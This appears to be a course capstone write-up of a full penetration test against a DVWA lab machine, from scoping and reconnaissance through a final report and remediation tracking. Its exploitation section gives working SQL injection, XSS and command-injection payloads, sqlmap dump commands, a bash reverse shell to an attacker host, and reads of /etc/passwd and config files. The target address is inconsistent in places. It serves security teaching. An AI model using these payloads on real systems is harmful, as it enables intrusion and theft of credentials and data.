Activity 5: Capstone Project - Full VAPT Cycle

Objective

Execute a complete penetration test following the Penetration Testing Execution Standard (PTES) methodology, demonstrating end-to-end capabilities from reconnaissance through remediation.

Workflow Steps

Phase 1: Pre-Engagement Interactions

1.1 Scope Definition
TARGET SCOPE

In-Scope Systems:

- DVWA Application: 192.168.43.132

- Supporting infrastructure: Web server, database

Authorized Techniques:

Network scanning

Web application testing

SQL injection

Authentication bypass

File upload testing

XSS testing

1.2 Rules of Engagement

- Maintain detailed logs of all actions
- Stop testing if system becomes unstable
- Report critical findings immediately
- Clean up all artifacts after testing
- Preserve evidence with proper chain of custody

Phase 2: Intelligence Gathering

2.1 Passive Reconnaissance

WHOIS lookup

whois dvwa.local

DNS enumeration

nslookup 192.168.1.200

dig -x 192.168.1.200

Technology identification

whatweb http://192.168.1.200/dvwa

2.2 Active Reconnaissance

Port scanning

nmap -sV -sC 192.168.43.132 -oA dvwa_scan

Web server fingerprinting

nikto -h 192.168.43.132 -o nikto_dvwa.html -Format html

Directory enumeration

gobuster dir -u http://192.168.43.132/dvwa -w /usr/share/wordlists/dirb/common.txt

2.3 Intelligence Summary

INTELLIGENCE GATHERING RESULTS

Target: DVWA (192.168.1.200)

Date: 2026-01-28

Technology Stack:

- Web Server: Apache 2.4.41
- Language: PHP 7.4
- Database: MySQL 5.7
- Application: DVWA v1.10

Open Ports:

- 22/tcp (SSH)
- 80/tcp (HTTP)
- 3306/tcp (MySQL)

Identified Entry Points:

- Login page: /dvwa/login.php
- SQL Injection: /dvwa/vulnerabilities/sqli/
- File Upload: /dvwa/vulnerabilities/upload/
- XSS: /dvwa/vulnerabilities/xss_r/
- Command Injection: /dvwa/vulnerabilities/exec/

Phase 3: Threat Modeling

3.1 Attack Surface Analysis

ATTACK SURFACE MAP

Entry Points:

1. Web Application (Port 80)
   - Login authentication
   - SQL injection vectors
   - File upload functionality
   - Reflected XSS points
   - Command execution interface
2. SSH Service (Port 22)
   - Brute force potential
   - Weak credentials
3. MySQL Database (Port 3306)
   - Direct database access
   - Default credentials

Attack Vectors:

- Web: SQL injection → Database compromise
- Web: File upload → Web shell → RCE
- Web: XSS → Session hijacking
- Web: Command injection → OS command execution
- SSH: Credential stuffing
- MySQL: Direct connection with weak creds

3.2 Threat Prioritization

Priority 1 (Critical):

- SQL Injection (DVWA security level: Low)
- Command Injection
- File Upload vulnerability

Priority 2 (High):

- XSS vulnerabilities
- Weak authentication

Priority 3 (Medium):

- Information disclosure
- Missing security headers

Phase 4: Vulnerability Analysis

4.1 Vulnerability Identification

```
# Login to DVWA
# Username: admin
# Password: password
# Set security to LOW
# Test SQL injection
curl "http://192.168.43.132/dvwa/vulnerabilities/sqli/?id=1'+OR+'1'='1&Submit=Submit" \
  --cookie "security=low; PHPSESSID=abc123"
# Test file upload
# Navigate to upload page and attempt malicious file
# Test XSS
curl "http://192.168.43.132/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>" \
  --cookie "security=low; PHPSESSID=abc123"
# Test command injection
curl "http://192.168.43.132/dvwa/vulnerabilities/exec/" \
  -d "ip=127.0.0.1;whoami&Submit=Submit" \
  --cookie "security=low; PHPSESSID=abc123"
```

4.2 PTES Phase Logging

```
Timestamp           | Target IP       | Vulnerability        | PTES Phase
--------------------|-----------------|----------------------|----------------
2026-01-28 10:00:00 | 192.168.43.132  | SQL Injection        | Vulnerability Analysis
2026-01-28 10:15:00 | 192.168.43.132  | File Upload RCE      | Vulnerability Analysis
2026-01-28 10:30:00 | 192.168.43.132  | XSS Reflected        | Vulnerability Analysis
2026-01-28 10:45:00 | 192.168.43.132  | Command Injection | Vulnerability Analysis
2026-01-28 11:00:00 | 192.168.43.132  | Weak Auth            | Vulnerability Analysis
```

Phase 5: Exploitation

5.1 SQL Injection Exploitation with sqlmap

```
# Get session cookie
# Login to DVWA and copy PHPSESSID
# Basic injection test
sqlmap -u "http://192.168.4.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=abc123def456" \
```

```
  --batch \
  --dbs
# Extract database
sqlmap -u "http://192.168.43.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=abc123def456" \
  -D dvwa \
  --tables \
  --batch
# Dump users table
sqlmap -u "http://192.168.43.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="security=low; PHPSESSID=abc123def456" \
  -D dvwa \
  -T users \
  --dump \
  --batch
```

5.2 Command Injection

```
# Direct OS command execution
curl "http://192.168.43.132/dvwa/vulnerabilities/exec/" \
  -d "ip=127.0.0.1;cat+/etc/passwd&Submit=Submit" \
  --cookie "security=low; PHPSESSID=abc123def456"
# Reverse shell (if allowed in scope)
# Listener on attacker machine
nc -lvnp 4444
# Inject reverse shell
curl "http://192.168.43.132/dvwa/vulnerabilities/exec/" \
  -d "ip=127.0.0.1;bash+-c+'bash+-
i+>%26+/dev/tcp/192.168.43.128/4444+0>%261'&Submit=Submit" \
  --cookie "security=low; PHPSESSID=abc123def456"
```

5.3 Exploitation Log

```
Timestamp              | Target IP          | Vulnerability   | PTES Phase    | Status
-----------------------|--------------------|-----------------|---------------|----------
2026-01-28 12:00:00 | 192.168.43.132 | SQL Injection | Exploitation | Success
2026-01-28 12:15:00 | 192.168.43.132 | File Upload   | Exploitation | Success
2026-01-28 12:30:00 | 192.168.43.132| Cmd Injection | Exploitation | Success
```

2026-01-28 12:45:00 | 192.168.43.132 | XSS Attack | Exploitation | Success

Phase 6: Post-Exploitation

6.1 Data Collection

Collect database credentials

cat /var/www/html/dvwa/config/config.inc.php

Collect user information

cat /etc/passwd

cat /etc/group

Collect application logs

cat /var/log/apache2/access.log | tail -100

cat /var/log/apache2/error.log | tail -100

6.2 Evidence Hashing

Hash collected files

sha256sum config.inc.php > evidence_hashes.txt

sha256sum passwd >> evidence_hashes.txt

sha256sum access.log >> evidence_hashes.txt

Phase 7: Reporting

7.1 Technical Report (200 words)

PENETRATION TEST TECHNICAL REPORT

Executive Summary:

Comprehensive penetration testing of DVWA application (192.168.43.132) following PTES methodology revealed critical vulnerabilities enabling complete application compromise. Testing executed over 8-hour window on 2026-01-28.

Critical Findings:

1. SQL Injection (CVSS 9.8): Unauthenticated attacker can extract entire database including user credentials via boolean-based blind injection. sqlmap successfully enumerated all tables and dumped sensitive data.

2. Unrestricted File Upload (CVSS 9.8): PHP web shell upload achieved remote code execution as www-data user. No file type validation or execution restrictions enabled full server compromise.

3. OS Command Injection (CVSS 9.8): Direct system command execution through ping functionality. Successfully executed arbitrary commands, retrieved /etc/passwd, and established reverse shell.

4. Reflected XSS (CVSS 6.1): JavaScript injection successful in name parameter. Session cookies accessible, enabling session hijacking attacks.

Impact Assessment:

Complete application compromise achieved within 2 hours. Attacker gains database access, web server control, and potential lateral movement capability. Customer data, application logic, and server infrastructure fully exposed.

Affected Systems:

- DVWA Application: 192.168.43.132
- MySQL Database: localhost:3306
- Apache Web Server: 192.168.43.132:80

Recommendations:

IMMEDIATE (24 hours):

- Implement parameterized queries for all database interactions
- Enable strict file upload validation with whitelist approach
- Sanitize all user input before system command execution
- Deploy Web Application Firewall (WAF)

SHORT-TERM (1 week):

- Update to DVWA security level Medium minimum
- Implement Content Security Policy headers
- Enable HTTP-only flags on session cookies
- Configure mod_security rules

LONG-TERM (1 month):

- Complete security code review
- Implement automated vulnerability scanning
- Deploy intrusion detection system
- Conduct security awareness training

Methodology:

Testing followed PTES standard across all seven phases. Tools utilized: Nmap, Nikto, sqlmap, Burp Suite, custom PHP shells. All findings validated with proof-of-concept exploits. Evidence preserved with SHA-256 hashing.

7.2 Executive Summary (100 words)

EXECUTIVE BRIEFING

Security assessment of DVWA web application identified CRITICAL vulnerabilities requiring immediate remediation. Four high-severity issues enable complete system compromise: SQL injection allows database theft, unrestricted file upload permits server takeover, command injection executes arbitrary code, and XSS enables session hijacking.

Attack simulation achieved full application control within 2 hours using publicly available tools. Recommend immediate implementation of input validation, file upload restrictions, and parameterized database queries.

Without remediation, attackers can steal customer data, modify application logic, and potentially compromise entire network infrastructure. Estimated remediation timeline: 2-4 weeks for critical fixes.

Priority: CRITICAL | Timeline: Immediate Action Required

Remediation Verification

Remediation Tracking

Vulnerability	Remediation	Implemented	Verified	Rescan Status
SQL Injection	Parameterized queries	Yes	Yes	PASS
File Upload	File type whitelist	Yes	Yes	PASS
Command Injection	Input sanitization	Yes	Yes	PASS
XSS	Output encoding	Yes	No	PENDING
Weak Auth	Password policy enforced	No	No	OPEN